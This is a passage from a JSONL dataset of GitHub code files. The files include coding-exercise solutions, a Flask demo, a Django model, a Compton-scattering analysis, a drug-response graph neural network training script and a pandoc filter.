env.parse_prerequisites.assert_called_once_with(prereqs_dict)\n env.install_prerequisites.assert_called_once_with(\n env.parse_prerequisites())\n","repo_name":"golemfactory/clay","sub_path":"tests/golem/task/test_taskkeeper.py","file_name":"test_taskkeeper.py","file_ext":"py","file_size_in_byte":39766,"program_lang":"python","lang":"en","doc_type":"code","stars":2915,"dataset":"github-code","pt":"7"} +{"seq_id":"35599122973","text":"#!/usr/bin/env python\r\n# encoding: utf-8\r\n\"\"\"\r\n@author: LiYuHong\r\n@file: 172_the_letter_of_the_k_th_min_code_value.py\r\n@time: 2023/8/8 22:53\r\n@project: huawei-od-python\r\n@desc: 172 第k个最小码值的字母\r\n\"\"\"\r\n\r\n\r\ndef solve_method(k, s):\r\n # 从小到大按照码值排序\r\n sort_alpha = sorted(s)\r\n n = len(s)\r\n\r\n # k超过整个s的长度,则取最后一个字符即码值最大的\r\n if n<=k-1:\r\n return s.index(sort_alpha[-1])\r\n else:\r\n return s.index(sort_alpha[k-1])\r\n\r\nif __name__ == '__main__':\r\n assert solve_method(3, \"AbCdeFG\") == 5\r\n assert solve_method(4, \"fAdDAkBbBq\") == 6\r\n","repo_name":"Vineyard-w/huawei-od-python","sub_path":"codes/others100/172_the_letter_of_the_k_th_min_code_value.py","file_name":"172_the_letter_of_the_k_th_min_code_value.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"5553765155","text":"# *_* coding:utf-8 *_*\nfrom flask import Flask, redirect, flash\nfrom flask import render_template\n\nfrom forms import LoginForm\n\napp = Flask(__name__)\napp.config.from_object(\"config\")\n\n\n# 默认展示\n@app.route('/')\ndef hello_world():\n return 'Hello World!'\n\n\n@app.route('/index')\ndef index():\n user = {\"nickname\": \"zhxin\"}\n posts = [{\n \"author\": {\"nickname\": \"John\"},\n \"body\": \"beautiful day in Portland\"\n }, {\n \"author\": {\"nickname\": \"Ajax\"},\n \"body\": \"beautiful day in aruili\"\n }]\n return render_template(\"index.html\",\n title = \"Home\",\n user = user,\n posts = posts)\n\n\n# 跳转到登录页面\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n form = LoginForm()\n # 验证通过\n if form.validate_on_submit():\n flash('Login requested for OpenID=\"' + form.openid.data + '\", remember_me=' + str(form.remember_me.data))\n return redirect(\"/index\")\n return render_template(\"login.html\", title = \"Sign in\", form = form, providers = app.config['OPENID_PROVIDERS'])\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"zhxins/myflask","sub_path":"demoflask.py","file_name":"demoflask.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7234541628","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:\n result = ListNode()\n writing = result\n start = True\n kept = 0\n while l1 != None and l2 != None:\n sum = l1.val + l2.val + kept\n kept = sum //10\n sum = sum % 10\n if start:\n writing.val = sum\n start = False\n else:\n writing.next =ListNode(val = sum)\n writing = writing.next\n l1 = l1.next\n l2 = l2.next\n \n \n \n l1 =l1 if l1 != None else l2\n \n while kept:\n try:\n sum = kept + l1.val\n kept = sum//10\n sum = sum %10\n writing.next = ListNode(val = sum)\n writing = writing.next\n l1 = l1.next\n except AttributeError:\n writing.next = ListNode(val = kept)\n break\n \n if l1 != None:\n writing.next = l1\n \n\n return result","repo_name":"gadisamenu/competitive-programming","sub_path":"DataStructures/linkedlist/addTwoNumbers.py","file_name":"addTwoNumbers.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5859835959","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nM = int(input())\na = set(list(map(int, input().split(\" \"))))\nN = int(input())\nb = set(list(map(int, input().split(\" \"))))\n\nmy_set = set()\nmy_set.update(a.difference(b))\nmy_set.update(b.difference(a))\n\nmy_list = list(my_set)\nmy_list.sort()\n\nfor item in my_list:\n print(item)\n","repo_name":"ShahidulAbir/hackerrank-python","sub_path":"Sets/Symmetric_Difference.py","file_name":"Symmetric_Difference.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"9878276313","text":"def factorial(i):\n result = 1\n for i in range(i):\n result *= (i + 1)\n return result\n\nn = int(input())\nn_f = ''.join(reversed(str(factorial(n))))\nzero_len = 0\n\nfor i in n_f:\n if i == '0':\n zero_len += 1\n else:\n break\nprint(zero_len)","repo_name":"mchu7797/coding-tests-algorithm","sub_path":"1676.py","file_name":"1676.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27598600207","text":"from opts import parser\r\nfrom Dataset import VideoDataset\r\nimport torchvision.transforms as transforms\r\nimport torch\r\nfrom torch.autograd import Variable\r\nfrom Models import Net\r\nimport torch.backends.cudnn as cudnn\r\nimport time\r\nimport os\r\nimport datetime\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch.nn as nn\r\nfrom tqdm import tqdm\r\n\r\ndef main():\r\n global args, best_prec1\r\n cudnn.benchmark = True\r\n args = parser.parse_args()\r\n\r\n if not os.path.exists (args.log_dir):\r\n os.mkdir(args.log_dir)\r\n if not os.path.exists(args.model_dir):\r\n os.mkdir(args.model_dir)\r\n strat_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n log = open(os.path.join(args.log_dir, strat_time + '.txt'), 'w')\r\n print (args.description)\r\n log.write(args.description + '\\n')\r\n log.flush()\r\n print ('=======================Experimental Settings=======================\\n')\r\n log.write('=======================Experimental Settings=======================\\n')\r\n log.flush()\r\n print ('Using_Dataset:{0} Batch_Size:{1} Epochs:{2} '.format(args.dataset, args.batch_size, args.epoch))\r\n log.write('Using_Dataset:{0} Batch_Size:{1} Epochs:{2}'.format(args.dataset, args.batch_size, args.epoch) + '\\n')\r\n log.flush()\r\n print ('Num_segments:{0} Num_frames:{1} Base_model:{2}\\n'.format(args.segments, args.frames, args.base_model))\r\n log.write('Num_segments:{0} Num_frames:{1} Base_model:{2}\\n'.format(args.segments, args.frames, args.base_model) + '\\n')\r\n log.flush()\r\n print ('===================================================================\\n')\r\n log.write('===================================================================\\n')\r\n log.flush()\r\n\r\n\r\n test_loader = torch.utils.data.DataLoader(\r\n VideoDataset(root=args.root, list=args.test_video_list, num_segments=args.segments,\r\n num_frames=args.frames, test_mode=True,\r\n transform=transforms.Compose([\r\n transforms.Resize(256),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor(),\r\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\r\n ])),\r\n batch_size=1, shuffle=False,\r\n num_workers=args.workers*2, pin_memory=True, drop_last=True)\r\n\r\n net = Net(basemodel=args.base_model, num_segments=args.segments, num_frames=args.frames, dataset=args.dataset, d_model=args.d_model, start=args.start)\r\n net = torch.nn.DataParallel(net).cuda()\r\n net.load_state_dict(torch.load('./model/2018-08-18 08_16_57.pkl'))\r\n\r\n prec1 = test(test_loader, net)\r\n print('The testing accuracy is: {0}'.format(prec1))\r\n\r\n\r\n\r\ndef test(test_loader, net):\r\n net.eval()\r\n top1 = AverageMeter()\r\n top5 = AverageMeter()\r\n for input, target in tqdm(test_loader):\r\n input = input.squeeze(0).transpose(0, 1).contiguous()\r\n input = Variable(input.view(-1, 3, 224, 224)).cuda()\r\n target = Variable(target).cuda()\r\n\r\n output = net(input)\r\n output = torch.mean(output, dim=0, keepdim=True)\r\n prediction = torch.max(output)\r\n prec1, prec5 = compute_accuracy(output.data, target.data, topk=(1, 5))\r\n top1.update(prec1)\r\n top5.update(prec5)\r\n\r\n return top1.avg\r\n\r\n\r\ndef compute_accuracy(output, target, topk=(1,)):\r\n maxk = max(topk)\r\n batch_size = target.size(0)\r\n\r\n _, pred = output.topk(maxk, 1)\r\n corrrect = pred.eq(target.view(-1, 1).expand_as(pred))\r\n\r\n store = []\r\n for k in topk:\r\n corrrect_k = corrrect[:,:k].float().sum()\r\n store.append(corrrect_k * 100.0 / batch_size)\r\n return store\r\n\r\n\r\nclass AverageMeter(object):\r\n def __init__(self):\r\n self.reset()\r\n\r\n def reset(self):\r\n self.val = 0\r\n self.avg = 0\r\n self.sum = 0\r\n self.count = 0\r\n\r\n def update(self, val, n=1):\r\n self.val = val\r\n self.sum += val * n\r\n self.count += n\r\n self.avg = self.sum / self.count\r\n\r\n\r\ndef adjust_learning_rate(optimizer, epoch, lr, lr_step):\r\n lr = lr * 0.1 ** (epoch // lr_step)\r\n for param_group in optimizer.param_groups:\r\n param_group['lr'] = lr\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"ZhenxingZheng/S-TPNet","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"7"} +{"seq_id":"37254070004","text":"from __future__ import unicode_literals\nfrom ..validation.models import User\nfrom django.db import models\nfrom django.db.models import Count\n\n# Create your models here.\nclass SecretAction(models.Manager):\n def makeSecret(self, POST_data):\n if POST_data['secret']:\n self.create(secrets=POST_data['secret'],writer=User.objects.get(id=POST_data['user_id']))\n return\n def deleteSecret(self, id):\n self.get(id=id).delete()\n return\n def likeSecret(self, user, msg):\n post = Secret.objects.get(id=msg)\n likedBy = User.objects.get(id=user)\n post.likes.add(likedBy)\n return\n def getSecrets(self):\n return self.annotate(numLikes=Count('likes')).all().order_by('-created_at')\n def getPopular(self):\n return self.annotate(numLikes=Count('likes')).all().order_by('-numLikes', '-created_at')[:10]\n\nclass Secret(models.Model):\n secrets = models.CharField(max_length=120)\n writer = models.ForeignKey(User, related_name='user_secrets')\n likes = models.ManyToManyField(User)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now_add = True)\n objects = SecretAction()\n","repo_name":"jono3028/DojoSecret","sub_path":"apps/dojo_secret/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8508969477","text":"import numpy as np\nimport pandas as pd\nimport glob\nimport os\nimport scipy.stats as ss\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\nfolder = 'Co/'\nseperator = ' '\nfile_type = '.txt'\n\ntest = np.loadtxt(folder + \"Comptorn spredning 40_ch000\" + file_type, skiprows=4)\n#counts = data[:, 1]\n#(x, y) = np.unique(counts, return_counts=True)\n#lI = np.where(x == 0)[0][0]\n#hI = np.where(x >= 1000)[0][0]\n#x = x[lI:hI]\n#y = y[lI:hI]\n#plt.plot(x, y)\n#plt.title(\"test\")\n#plt.show()\n#test = np.loadtxt(\"Co/Comptorn spredning 40_ch000.dat\")\n#test = np.fromfile(\"Co/Comptorn spredning 40_ch000.dat\", dtype=int)\n\ndef gaussFit(x, mu, sig, a):\n lny = np.log(a) - ((x-mu)**2)/(2*sig)\n return np.exp(lny)+1\n\n#data = np.loadtxt(folder + \"compton test \" + \"3\" + \"_ch000\" + file_type, skiprows=4)\n#time = data[:,0]\ndef loadData(name):\n dat0 = np.loadtxt(folder + \"Comptorn spredning \" + name + \"_ch000\" + file_type, skiprows = 4)\n dat1 = np.loadtxt(folder + \"Comptorn spredning \" + name + \"_ch001\" + file_type, skiprows = 4)\n time = dat0[:,0]\n ch0 = dat0[:,1]\n ch1 = dat1[:,1]\n return [time, ch0, ch1]\n\ndef chToEnergy(ch):\n return 1.12166*ch-18.19\n\ndef chsToEnergy(data):\n size = len(data[0])\n for i in np.linspace(0, size-1, size):\n i = int(i)\n data[1][i] = chToEnergy(data[1][i])\n data[2][i] = chToEnergy(data[2][i])\n\ndef conservation(E1, theta):\n mc2 = 0.5*1000 #keV\n return E1/(1+(E1/mc2)*(1-np.cos(theta*np.pi/180)))\ndef checkConservation(E1, E2, theta, error1 = 0.1, error2 = 120):\n if E1>0:\n if (np.abs(1-E2/conservation(E1, theta)) < error1):\n if np.abs(E1-E2)>error2:\n return True\n else :\n return False\n else:\n return False\n else:\n return False\n\n\ndef getFit(name: str, data: tuple, guess: [int, int, int], lower_limit: int = 0, upper_limit: int = 1000, fun = gaussFit):\n # print(np.where(data[0]>lower_limit))\n ll = np.where(data[0]>lower_limit)[0][0]\n ul = np.where(data[0] p:', ss.chi2.cdf(chmin, 4))\n #props = dict(boxstyle='round', facecolor='wheat', alpha=0.5)\n # place a text box in upper left in axes coords\n #plt.text(0.05, 1.05, text, fontsize=14,\n # verticalalignment='top', bbox=props)\n plt.scatter(x, y, color=\"r\", label=\"data\")\n plt.plot(xhelp, fun(xhelp, *popt), 'k-.', label=\"fitgauss\")\n plt.legend()\n\n plt.title(name)\n plt.show()\n\n return [popt, perr]\ndef filter(theta, data, error1 = 0.11, error2 = 120, binsize=0):\n chsToEnergy(data)\n\n ens1 = []\n ens2 = []\n n = len(data[0])\n for i in np.linspace(0, n-1, n):\n i = int(i)\n if checkConservation(data[1][i], data[2][i], theta, error1, error2):\n ens1 += [data[1][i]]\n ens2 += [data[2][i]]\n #e2 = np.histogram(ens2)\n #means = np.array([])\n #for i in range(e2hist[1].size-1):\n # n = e2hist[1][i]+e2hist[1][i+1]/2\n # print(n)\n # np.append(means, n)\n #e2 = (means, e2hist[0])\n e1 = np.unique(ens1, return_counts= True)\n e2 = np.unique(ens2, return_counts= True)\n #print(e2)\n #print(e2[0].size/2)\n def dobin(binsize, e):\n while e[0].size % binsize > 0:\n e = (np.delete(e[0], -1), np.delete(e[1], -1))\n e20 = np.array([])\n e21 = np.array([])\n for i in np.linspace(0, e[0].size-binsize, int(e[0].size/binsize)):\n i = int(i)\n #print(i)\n add=0\n avg=0\n for j in range(binsize):\n #print(j)\n add += e[1][i + j]\n avg += e[0][i + j]\n avg = avg/binsize\n e20 = np.append(e20, avg)\n e21 = np.append(e21, add)\n return (e20, e21)\n if binsize > 1:\n e2 = dobin(binsize, e2)\n #print(e2)\n\n return (e1, e2)\n\n\n\n\n\n\n\nangles = [40, 60, 80, 100, 116]\nangleErr = np.array(angles)**0*0.5\n\n# gets all input output peak fit parameters and plots them on top of data.\n# Also returns the collection time in \"times\"\n\nenergies = []\nparams = []\ntimes = []\npRange = np.linspace(0, len(angles)-1, len(angles))\nsizes = [13,9,4,3,2]\n\n\ndef getandfit(angle, binsize):\n\n stri = str(angle)\n i = angle\n print(i)\n data = loadData(stri)\n t1 = data[0][0]\n t2 = data[0][-1]\n time = (t2-t1)/10**8\n (e1, e2) = filter(i, data, error1=0.1, error2=600-conservation(600, i), binsize=binsize)\n #print(e1[1][0], type(e1[1][0]))\n # e1 = [e1[0], np.histogram(e1[1], bins=int(e1[1].size/2))]\n # e2 = [e2[0], np.histogram(e2[1], bins=int(e2[1].size/2))]\n def binnedGauss(x, mu, sig, a):\n lny = np.log(a) - ((x - mu) ** 2) / (2 * sig)\n return np.exp(lny) + binsize\n expectedE2 = conservation(600, i)\n E1 = getFit(stri + \": E1\", e1, [660, 1000, 1000])\n E2 = getFit(stri + \": E2\", e2, [expectedE2, 1000, 1000], fun = binnedGauss)\n return e1, e2, E1, E2, time\n\n\n# getandfit(40, 3)\nfor i in pRange:\n i = int(i)\n print(i)\n theta = angles[i]\n binsize = sizes[i]\n e1, e2, E1, E2, time = getandfit(theta, binsize)\n energies += [[e1, e2]]\n params += [[E1, E2]]\n times += [time]\n\n# Plots the output energies\noEs = []\noEes = []\n\nfor i in pRange:\n i = int(i)\n #print(params[i][1][0][0])\n oEs += [params[i][1][0][0]]\n oEes += [params[i][1][1][0]]\n\nplt.errorbar(angles, oEs, yerr=oEes, xerr=angleErr, fmt=\",\")\nangleHelp = np.linspace(angles[0], angles[-1], 100)\nplt.plot(angleHelp, conservation(661.661, angleHelp))\nplt.show()\n\niEs = []\niEes = []\n\nfor i in pRange:\n i = int(i)\n #print(params[i][1][0][0])\n iEs += [params[i][0][0][0]]\n iEes += [params[i][0][1][0]]\n\n\ndef const(x, a):\n return x*0+a\n\n\nplt.errorbar(pRange, iEs, yerr=iEes, fmt='.')\nxs = np.array(iEs)\nalphas = np.array(iEes)\naverage = np.sum(xs/alphas**2)/np.sum(1/alphas**2)\n\npopt, pcov = curve_fit(const, np.array(pRange), iEs, p0=660, sigma=iEes, absolute_sigma=True)\nperr = np.sqrt(np.diag(pcov))\nprint('Energy :', popt[0])\nplt.plot(pRange, const(np.array(pRange), popt[0]))\nplt.show()\n\n\nevents = []\nfor i in pRange:\n i = int(i)\n events += [np.sum(energies[i][1][1])/times[i]]\n\nplt.scatter(angles, events)\nplt.show()\n\n\nIs = []\nIes = []\nfor i in pRange:\n i = int(i)\n #print(params[i][1][0][0])\n sig = params[i][1][0][1]\n amp = params[i][1][0][2]\n area = sig * amp * 2 * np.pi\n sigerr = params[i][1][1][1]\n amperr = params[i][1][1][2]\n areaUncertaintyA = np.sqrt((sigerr / sig) + (amperr / amp)) * 2 * np.pi\n areaUncertainty = areaUncertaintyA / area\n Is += [area/times[i]]\n Ies += [areaUncertainty]\n\ndef prob(theta):\n alpha = 661.661 # keV\n r0 = 28.18 # fm\n theta = theta*np.pi/180\n brack1 = (1/(1+alpha*(1-np.cos(theta))))**3\n brack2 = (1+np.cos(theta))/2\n brack3top = alpha**2*(1-np.cos(theta))**2\n brack3bot = ((1+np.cos(theta)**2)*(1+alpha*(1-np.cos(theta))))\n brack3 = (1+brack3top/brack3bot)\n return (r0**2)*brack1*brack2*brack3\nplt.errorbar(angles, Is, yerr=Ies, xerr=angleErr, fmt=\".\")\nangleHelp = np.linspace(0, 180, 180)\nplt.show()\nplt.plot(angleHelp, prob(angleHelp))\nplt.show()\n\ndef printCons(angle, energy):\n print(angle, conservation(energy, angle))\nprintCons(116, 200)\n\n\n","repo_name":"eragose/Compton-spredning","sub_path":"vinkel test.py","file_name":"vinkel test.py","file_ext":"py","file_size_in_byte":7923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38710522146","text":"import torch\nimport pandas as pd\nimport rdkit\nfrom rdkit import Chem\nimport deepchem as dc\nimport time\nfrom model import *\nfrom data_process import process\nimport argparse\nfrom my_utiils import *\nfrom data_load import dataload\n\nparser = argparse.ArgumentParser(description='Drug_response_pre')\nparser.add_argument('--alph', dest='alph', type=float, default=0.30, help='')\nparser.add_argument('--beta', dest='beta', type=float, default=0.30, help='')\nparser.add_argument('--epoch', dest='epoch', type=int, default=200, help='')\nparser.add_argument('--hidden_channels', dest='hidden_channels', type=int, default=256, help='')\nparser.add_argument('--output_channels', dest='output_channels', type=int, default=100, help='')\nargs = parser.parse_args()\nstart_time = time.time()\n#--------cell line feature input\nGenomic_mutation_file = '../data/Celline/genomic_mutation_34673_demap_features.csv'\nGene_expression_file = '../data/Celline/genomic_expression_561celllines_697genes_demap_features.csv'\nMethylation_file = '../data/Celline/genomic_methylation_561celllines_808genes_demap_features.csv'\ngexpr_feature = pd.read_csv(Gene_expression_file,sep=',',header=0,index_col=[0])\nmutation_feature = pd.read_csv(Genomic_mutation_file,sep=',',header=0,index_col=[0])\nmutation_feature = mutation_feature.loc[list(gexpr_feature.index)]\nmethylation_feature = pd.read_csv(Methylation_file,sep=',',header=0,index_col=[0])\nassert methylation_feature.shape[0]==gexpr_feature.shape[0]==mutation_feature.shape[0]\n\n#--------drug feature input\ndrug='../data/CCLE/CCLE_smiles.csv'\ndrug=pd.read_csv(drug, sep=',',header=0)\ndrug_feature = {}\nfeaturizer = dc.feat.ConvMolFeaturizer()\nfor tup in zip(drug['pubchem'], drug['isosmiles']):\n mol=Chem.MolFromSmiles(tup[1])\n X = featurizer.featurize(mol)\n drug_feature[str(tup[0])]=[X[0].get_atom_features(),X[0].get_adjacency_list(),1]\n \n#--------responses input\nresponse='../data/CCLE/CCLE_response.csv'\ndatar=pd.read_csv(response, sep=',',header=0)\ndata_idx = []\nthred=0.8\nfor tup in zip(datar['DepMap_ID'],datar['pubchem'],datar['Z_SCORE']):\n t=1 if tup[2]>thred else -1\n data_idx.append((tup[0],str(tup[1]),t))\n#----eliminate ambiguity responses\ndata_sort=sorted(data_idx, key=(lambda x: [x[0], x[1], x[2]]), reverse=True)\ndata_tmp=[];data_new=[]\ndata_idx1 = [[i[0],i[1]] for i in data_sort]\nfor i,k in zip(data_idx1,data_sort):\n if i not in data_tmp:\n data_tmp.append(i)\n data_new.append(k)\nnb_celllines = len(set([item[0] for item in data_new]))\nnb_drugs = len(set([item[1] for item in data_new]))\nprint('All %d pairs across %d cell lines and %d drugs.'%(len(data_new),nb_celllines,nb_drugs))\n\ndrug_set,cellline_set,train_edge,label_pos,train_mask,test_mask,atom_shape = process(drug_feature, mutation_feature, gexpr_feature, methylation_feature, data_new, nb_celllines, nb_drugs)\n\nmodel = GraphCDR(hidden_channels=args.hidden_channels, encoder=Encoder(args.output_channels, args.hidden_channels), summary=Summary(args.output_channels, args.hidden_channels),\n feat=NodeRepresentation(atom_shape,gexpr_feature.shape[-1],methylation_feature.shape[-1],args.output_channels),index=nb_celllines)\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001, weight_decay=0)\nmyloss = nn.BCELoss()\n\ndef train():\n model.train()\n loss_temp=0\n for batch, (drug,cell) in enumerate(zip(drug_set,cellline_set)):\n optimizer.zero_grad()\n pos_z, neg_z, summary_pos, summary_neg, pos_adj=model(drug.x, drug.edge_index, drug.batch, cell[0], cell[1], cell[2], train_edge)\n dgi_pos = model.loss(pos_z, neg_z, summary_pos)\n dgi_neg = model.loss(neg_z, pos_z, summary_neg)\n pos_loss = myloss(pos_adj[train_mask],label_pos[train_mask])\n loss=(1-args.alph-args.beta)*pos_loss + args.alph*dgi_pos + args.beta*dgi_neg\n loss.backward()\n optimizer.step()\n loss_temp += loss.item()\n print('train loss: ', str(round(loss_temp, 4)))\n\ndef test():\n model.eval()\n with torch.no_grad():\n for batch, (drug, cell) in enumerate(zip(drug_set, cellline_set)):\n _, _, _, _, pre_adj=model(drug.x, drug.edge_index, drug.batch,cell[0], cell[1], cell[2], train_edge)\n loss_temp = myloss(pre_adj[test_mask],label_pos[test_mask])\n yp=pre_adj[test_mask].detach().numpy()\n ytest=label_pos[test_mask].detach().numpy()\n AUC, AUPR, F1, ACC =metrics_graph(ytest,yp)\n print('test loss: ', str(round(loss_temp.item(), 4)))\n print('test auc: ' + str(round(AUC, 4)) + ' test aupr: ' + str(round(AUPR, 4)) +\n ' test f1: ' + str(round(F1, 4)) + ' test acc: ' + str(round(ACC, 4)))\n return AUC, AUPR, F1, ACC\n\n#------main\nfinal_AUC = 0;final_AUPR = 0;final_F1 = 0;final_ACC = 0\nfor epoch in range(args.epoch):\n print('\\nepoch: ' + str(epoch))\n train()\n AUC, AUPR, F1, ACC = test()\n if (AUC > final_AUC):\n final_AUC = AUC;final_AUPR = AUPR;final_F1 = F1;final_ACC = ACC\nelapsed = time.time() - start_time\nprint('---------------------------------------')\nprint('Elapsed time: ', round(elapsed, 4))\nprint('Final_AUC: ' + str(round(final_AUC, 4)) + ' Final_AUPR: ' + str(round(final_AUPR, 4)) +\n ' Final_F1: ' + str(round(final_F1, 4)) + ' Final_ACC: ' + str(round(final_ACC, 4)))\nprint('---------------------------------------')\n","repo_name":"BioMedicalBigDataMiningLab/GraphCDR","sub_path":"prog/graphCDR-ccle.py","file_name":"graphCDR-ccle.py","file_ext":"py","file_size_in_byte":5329,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"7"} +{"seq_id":"17233287712","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 21 11:07:42 2023\r\n\r\n@author: Shashank.S.Tiwari\r\n\"\"\"\r\n\r\nimport os\r\nimport csv\r\n\r\ndef concatenate_csv_files(main_folder):\r\n csv_files = {}\r\n for subdir, _, files in os.walk(main_folder):\r\n for file in files:\r\n if file.endswith('.out'):\r\n csv_path = os.path.join(subdir, file)\r\n csv_basename = os.path.basename(csv_path)\r\n csv_folder_name = os.path.basename(os.path.dirname(csv_path))\r\n \r\n if csv_basename not in csv_files:\r\n csv_files[csv_basename] = []\r\n\r\n with open(csv_path, 'r', newline='') as input_csvfile:\r\n csv_reader = csv.reader(input_csvfile)\r\n # Skip 3 header lines\r\n for _ in range(3):\r\n try:\r\n next(csv_reader)\r\n except StopIteration:\r\n break\r\n\r\n data = []\r\n for row in csv_reader:\r\n data.append(\",\".join(row)) # Combine columns with space separation\r\n\r\n csv_files[csv_basename].append(('\\n'.join(data))) # Concatenate lines with newline\r\n\r\n # Write concatenated data to new CSV files for each unique basename\r\n for csv_basename, data_list in csv_files.items():\r\n output_file = os.path.join(main_folder, f\"{csv_basename}_concatenated.csv\")\r\n with open(output_file, 'w', newline='') as output_csvfile:\r\n output_csvfile.write('\\n'.join(data_list))\r\n\r\nif __name__ == \"__main__\":\r\n main_folder = \"C:/Users/Shashank.S.Tiwari/OneDrive - Shell/Simulations/SUF_PearlGTL/8hours/\"\r\n\r\n concatenate_csv_files(main_folder)\r\n print(\"CSV files have been concatenated and saved.\")","repo_name":"shashanktiwari619/postprocessing_point_monitors","sub_path":"trial_2.py","file_name":"trial_2.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39649057854","text":"from amais.infra.db.person.person_repository import PersonRepository\nfrom amais.infra.db.patient.patient_repository import PatientRepository\nfrom amais.infra.db.voluntary.voluntary_repository import VoluntaryRepository\nfrom amais.infra.db.talk.talk_repository import TalkRepository\nfrom amais.infra.db.certificate.certificate_repository import CertificateRepository\nfrom amais.main.configs.constants import UPLOAD_FOLDER\nfrom amais.utils.exceptions import Error\nfrom werkzeug.datastructures import FileStorage\nfrom amais.domain.models.address import Addres\nimport secrets\n\n\nclass CreateTalk:\n\n @classmethod\n def create(cls, patient_document: str, date: str, address: int, guidelines: str, voluntary_document: str, file: FileStorage):\n\n patient_person = PersonRepository().find_by_document(cpf=patient_document)\n voluntary_person = PersonRepository().find_by_document(cpf=voluntary_document)\n\n if not patient_person:\n raise Error('PATIENT_NOT_FOUND')\n\n if not voluntary_person:\n raise Error('VOLUNTARY_NOT_FOUND')\n\n patient = PatientRepository().find_by_person_id(\n person_id=patient_person['id']\n )\n\n voluntary = VoluntaryRepository().find_by_person_id(\n person_id=voluntary_person['id']\n )\n\n if not patient:\n raise Error('PATIENT_NOT_FOUND')\n\n if not voluntary:\n raise Error('VOLUNTARY_NOT_FOUND')\n\n [_, extension] = file.filename.split('.')\n\n if not extension in ('html', 'pdf', 'docx'):\n raise Error('EXTENSION_NOT_ALLOWED')\n\n str_hash = secrets.token_hex(32)\n\n file_name_with_extension = '{file_name}.{extension}'.format(\n file_name=str_hash,\n extension=extension\n )\n\n file_path = UPLOAD_FOLDER + file_name_with_extension\n file.save(file_path)\n\n # certificate = CertificateRepository().insert(file_name=file_name_with_extension)\n\n # TalkRepository().insert(address=address, date=date, title=title,\n # description=description, duration=duration,\n # person_id=person['id'],\n # price=price, certificate_id=certificate['id'])\n","repo_name":"ONG-AMAIS/clean-api-amais","sub_path":"amais/data/usecases/consultation/create_consultation.py","file_name":"create_consultation.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"70649549984","text":"#!/usr/bin/env python\n\n\"\"\"\nPandoc filter to convert divs with latex=\"true\" to LaTeX\nenvironments in LaTeX output. The first class\nwill be regarded as the name of the latex environment\ne.g.\n
    ...
    \nwill becomes\n\\begin{note}...\\end{note}\n\"\"\"\n\nfrom pandocfilters import toJSONFilter, RawBlock, Div\n\n\ndef latex(x):\n return RawBlock('latex', x)\n\n\ndef latexdivs(key, value, format, meta):\n if key == 'Div':\n [[ident, classes, kvs], contents] = value\n if [\"latex\",\"true\"] in kvs:\n if format == \"latex\":\n if ident == \"\":\n label = \"\"\n else:\n label = '\\\\label{' + ident + '}'\n return([latex('\\\\begin{' + classes[0] + '}' + label)] + contents +\n [latex('\\\\end{' + classes[0] + '}')])\n\nif __name__ == \"__main__\":\n toJSONFilter(latexdivs)\n","repo_name":"jgm/pandocfilters","sub_path":"examples/latexdivs.py","file_name":"latexdivs.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":482,"dataset":"github-code","pt":"7"} +{"seq_id":"7413606949","text":"from unittest import TestCase\nimport os\nimport numpy as np\nimport pandas as pd\nimport cmdfit.processing.columnread as cread\nfrom cmdfit import data as data\nimport cmdfit.processing.magcorrections as magcorr\nfrom cmdfit import isochrone as isochrone\nfrom cmdfit import isointerpmag\nimport emcee\nfrom cmdfit import fitsingle\nfrom cmdfit import fitall\n\n# Tests that headers are being read correctly:\nclass TestIO(TestCase):\n def test_io(self):\n root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n data_dir = os.path.join(root_dir, 'data')\n specific_data_dir = os.path.join(data_dir, 'Hyades')\n data_file = os.path.join(specific_data_dir, 'goldman_Hyades2MASS.txt')\n \n test_data = cread.get_header(data_file)\n \n self.assertEqual(test_data[3], 'Vperp')\n\n# Tests that magnitude corrections will be applied correctly (this tests the AB to Vega correction and applies a distance modulus of 3.33 corresponding\n# to roughly what is believed for this cluster):\nclass TestABCorrections(TestCase):\n def test_corr(self):\n root_dir = data.select_pathtofile('test')\n 